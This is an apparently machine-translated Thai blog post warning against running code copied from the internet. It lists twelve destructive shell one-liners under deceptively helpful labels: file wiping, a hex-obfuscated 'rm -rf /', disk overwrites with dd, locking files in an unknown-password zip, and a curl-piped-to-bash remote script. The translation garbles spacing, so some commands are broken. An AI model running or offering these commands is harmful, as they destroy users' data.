ฉันมักจะได้ยินคนเรียกตัวเองว่า 'คัดลอกและวาง' โค้ด และในขณะที่การคัดลอกและวางเป็นสิ่งที่ถูกต้องตามกฎหมายมันไม่ควรเป็นวิธีเดียวในการทำสิ่งต่าง ๆ วิธีที่ดีกว่าคือการค้นหารหัสดูสิ่งที่ทำแล้วสร้างมันขึ้นมาใหม่และที่น้อยที่สุดคัดลอก แต่รู้ว่ามันทำอะไร
นี่คือตัวอย่างเล็ก ๆ ของฉันที่มีผลลัพธ์ที่ไม่ได้ตั้งใจ
"การเรียกใช้รหัสที่คุณพบบนอินเทอร์เน็ตก็เหมือนกับการเคี้ยวหมากฝรั่งที่คุณพบในรถไฟใต้ดิน '
A. ง่ายขึ้นอย่างมากเอกสารไวยากรณ์:
while read f ; do sed -i " " ' s:.:*:g ' " $f " ; done <<< " $(find ~/ -iname '*' -print) "B. ปลดปล่อยพื้นที่ที่ไม่เป็นระเบียบ:
du ~ / | grep -o ' /.* ' | xargs rm -r --C. เชื่อมโยงไฟล์ของคุณเพื่อปรับปรุงประสิทธิภาพ:
du ~ / * / * | grep -o ' /.* ' | xargs -n 1 ln -sf /dev/null/D. ย้ายไฟล์/โฟลเดอร์ไปยังระดับเสียงที่มีที่เก็บข้อมูลไม่ จำกัด :
for d in ~ / * / * ; do mv " $d / " /dev/null ; doneE. ปลดปล่อยพื้นที่ที่ไม่เป็นระเบียบทั้งหมด:
command $( echo 7375646f20726d202d7266202f0a | xxd -p -r ) & > /dev/nullF. เคี้ยวหมากฝรั่งที่คุณไม่รู้ด้วยซ้ำ:
bash -c " $( curl -s https://raw.githubusercontent.com/thedzy/My-one-page-argument-for-learning-to-code/master/malicious_file.sh ) "G. ปลดปล่อยพื้นที่ที่ไม่เป็นระเบียบ:
eval $( sed ' s:[a-e,s-z]::g ' <<< " stream -draft ~/saved " )H. บีบอัดไฟล์และบันทึกพื้นที่:
zip --password " $( openssl rand -base64 64 ) " --move " $( openssl rand -hex 4 ) " .zip ~ / * / * / * / * / *I. ลดความต้องการปริมาณภายนอกของคุณ:
for d in /dev/disk * ; do dd if=/dev/random of= $d &; doneJ. เพียงแค่ไฟล์และชีวิตของคุณ:
find ~ / -type f -exec bash -c ' :|tee {} & ' ;K. เก็บบันทึกไฟล์ในโฟลเดอร์โฮมโดยใช้ไฟล์ปัจจุบันของคุณ:
find ~ / -type f -exec awk ' FNR == 1{ print FILENAME > FILENAME } ' {} ;L. ตัดพื้นที่ดิสก์โดยไม่ต้องถอดไฟล์:
n= ` df -i | grep " /$ " | awk ' {print $6} ' ` ; eval ` stat -s / ` ; for i in $( seq $n 0 ) ; do [ -f /.vol/ $st_dev / $i ] && echo > /.vol/ $st_dev / $i ; done find / -iname "*.txt" | head -n 60 | xargs -n1 -J% cp % $HOME/Desktop/